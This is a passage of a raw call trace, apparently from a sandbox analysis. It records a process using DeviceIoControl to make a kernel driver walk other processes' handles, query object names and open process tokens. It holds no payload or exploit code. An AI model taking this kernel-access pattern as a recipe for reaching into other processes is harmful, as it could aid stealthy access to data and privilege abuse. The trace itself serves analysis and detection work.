PriorityBoost=0) [0113.394] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.394] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.394] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0113.394] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.394] PsAcquireProcessExitSynchronization () returned 0x0 [0113.394] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0) [0113.394] ObReferenceObjectByHandle (in: Handle=0x53c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0016d24a0, HandleInformation=0x0) returned 0x0 [0113.394] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.394] PsReleaseProcessExitSynchronization () returned 0x2 [0113.394] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0113.394] ObQueryNameString (in: Object=0xfffff8a0016d24a0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.394] ObfDereferenceObject (Object=0xfffff8a0016d24a0) returned 0x1 [0113.394] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.394] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.394] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.394] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0113.394] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.394] PsAcquireProcessExitSynchronization () returned 0x0 [0113.394] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0) [0113.394] ObReferenceObjectByHandle (in: Handle=0x548, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80035908c0, HandleInformation=0x0) returned 0x0 [0113.394] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.395] PsReleaseProcessExitSynchronization () returned 0x2 [0113.395] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0113.395] ObQueryNameString (in: Object=0xfffffa80035908c0, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.395] ObfDereferenceObject (Object=0xfffffa80035908c0) returned 0x1 [0113.395] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.395] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.395] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.395] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.395] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.395] PsAcquireProcessExitSynchronization () returned 0x0 [0113.395] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0) [0113.395] ObReferenceObjectByHandle (in: Handle=0x55c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003409d00, HandleInformation=0x0) returned 0x0 [0113.395] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.395] PsReleaseProcessExitSynchronization () returned 0x2 [0113.395] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0113.395] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.395] ObfDereferenceObject (Object=0xfffffa8003409d00) returned 0x1 [0113.395] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.395] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.395] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.395] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0113.395] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.395] PsAcquireProcessExitSynchronization () returned 0x0 [0113.395] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0) [0113.395] ObReferenceObjectByHandle (in: Handle=0x570, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003571970, HandleInformation=0x0) returned 0x0 [0113.395] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.395] PsReleaseProcessExitSynchronization () returned 0x2 [0113.395] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0113.395] ObQueryNameString (in: Object=0xfffffa8002860900, ObjectNameInfo=0xfffffa800207f044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800207f044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.395] ObfDereferenceObject (Object=0xfffffa8003571970) returned 0x1 [0113.395] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.395] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.396] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.396] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0113.396] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.396] PsAcquireProcessExitSynchronization () returned 0x0 [0113.396] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0) [0113.396] ObReferenceObjectByHandle (in: Handle=0x58c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003c36ce0, HandleInformation=0x0) returned 0x0 [0113.396] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.396] PsReleaseProcessExitSynchronization () returned 0x2 [0113.396] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0113.396] ObQueryNameString (in: Object=0xfffffa8002860900, ObjectNameInfo=0xfffffa800209f044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800209f044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.396] ObfDereferenceObject (Object=0xfffffa8003c36ce0) returned 0x1 [0113.396] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.396] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.396] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.396] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0113.396] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.396] PsAcquireProcessExitSynchronization () returned 0x0 [0113.396] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0) [0113.396] ObReferenceObjectByHandle (in: Handle=0x5b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003c36970, HandleInformation=0x0) returned 0x0 [0113.396] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.396] PsReleaseProcessExitSynchronization () returned 0x2 [0113.396] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0113.396] ObQueryNameString (in: Object=0xfffffa8003c36970, ObjectNameInfo=0xfffffa80020ae044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020ae044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.396] ObfDereferenceObject (Object=0xfffffa8003c36970) returned 0x1 [0113.396] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.396] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.396] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.396] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0113.396] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.396] PsAcquireProcessExitSynchronization () returned 0x0 [0113.396] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0) [0113.396] ObReferenceObjectByHandle (in: Handle=0x5c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0113.396] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.396] PsReleaseProcessExitSynchronization () returned 0x2 [0113.397] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0113.397] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa80020ba044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020ba044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.397] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0113.397] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.523] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.523] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x434) returned 0xc0 [0113.531] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.531] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8003223790, HandleInformation=0x0) returned 0x0 [0113.531] ObOpenObjectByPointer (in: Object=0xfffffa8003223790, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0113.531] ObfDereferenceObject (Object=0xfffffa8003223790) returned 0x2d [0113.531] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa8002f00240 | out: TokenHandle=0xfffffa8002f00240*=0xc8) returned 0x0 [0113.531] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0113.531] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.531] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.531] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.533] CloseHandle (hObject=0xc8) returned 1 [0113.533] CloseHandle (hObject=0xc0) returned 1 [0113.533] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.533] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0113.533] PsLookupProcessByProcessId (in: ProcessId=0x434, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.533] PsAcquireProcessExitSynchronization () returned 0x0 [0113.533] KeStackAttachProcess (in: PROCESS=0xfffffa8003223790, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003223790, ApcState=0xfffff880055905d0) [0113.533] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003224b20, HandleInformation=0x0) returned 0x0 [0113.533] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.533] PsReleaseProcessExitSynchronization () returned 0x2 [0113.533] ObfDereferenceObject (Object=0xfffffa8003223790) returned 0x2b [0113.533] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.533] ObfDereferenceObject (Object=0xfffffa8003224b20) returned 0x1 [0113.533] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.533] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.533] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.533] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0113.533] PsLookupProcessByProcessId (in: ProcessId=0x434, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.533] PsAcquireProcessExitSynchronization () returned 0x0 [0113.533] KeStackAttachProcess (in: PROCESS=0xfffffa8003223790, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003223790, ApcState=0xfffff880055905d0) [0113.533] ObReferenceObjectByHandle (in: Handle=0x9c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0113.533] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.533] PsReleaseProcessExitSynchronization () returned 0x2 [0113.533] ObfDereferenceObject (Object=0xfffffa8003223790) returned 0x2b [0113.533] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.533] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0113.533] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.533] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.533] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x444) returned 0xc0 [0113.533] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.534] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8003232060, HandleInformation=0x0) returned 0x0 [0113.534] ObOpenObjectByPointer (in: Object=0xfffffa8003232060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0113.534] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18c [0113.534] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa8002f00240 | out: TokenHandle=0xfffffa8002f00240*=0xc8) returned 0x0 [0113.534] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0113.534] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.534] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.534] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.535] CloseHandle (hObject=0xc8) returned 1 [0113.535] CloseHandle (hObject=0xc0) returned 1 [0113.535] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.535] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0113.535] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.535] PsAcquireProcessExitSynchronization () returned 0x0 [0113.535] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.535] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f6b680, HandleInformation=0x0) returned 0x0 [0113.535] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.535] PsReleaseProcessExitSynchronization () returned 0x2 [0113.535] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.535] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.535] ObfDereferenceObject (Object=0xfffffa8002f6b680) returned 0x1 [0113.535] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.535] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.535] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.536] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x102, lpOverlapped=0x0) returned 1 [0113.536] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.536] PsAcquireProcessExitSynchronization () returned 0x0 [0113.536] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.536] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003233380, HandleInformation=0x0) returned 0x0 [0113.536] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.536] PsReleaseProcessExitSynchronization () returned 0x2 [0113.536] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.536] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.536] ObfDereferenceObject (Object=0xfffffa8003233380) returned 0x1 [0113.536] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.536] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.536] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.536] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0113.536] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.536] PsAcquireProcessExitSynchronization () returned 0x0 [0113.536] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.536] ObReferenceObjectByHandle (in: Handle=0x108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0113.536] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.536] PsReleaseProcessExitSynchronization () returned 0x2 [0113.536] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.536] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.536] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0x8 [0113.536] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.536] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.536] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.536] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0113.536] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.536] PsAcquireProcessExitSynchronization () returned 0x0 [0113.536] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.536] ObReferenceObjectByHandle (in: Handle=0x114, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0113.536] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.536] PsReleaseProcessExitSynchronization () returned 0x2 [0113.536] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.536] ObQueryNameString (in: Object=0xfffff8a00109ffc0, 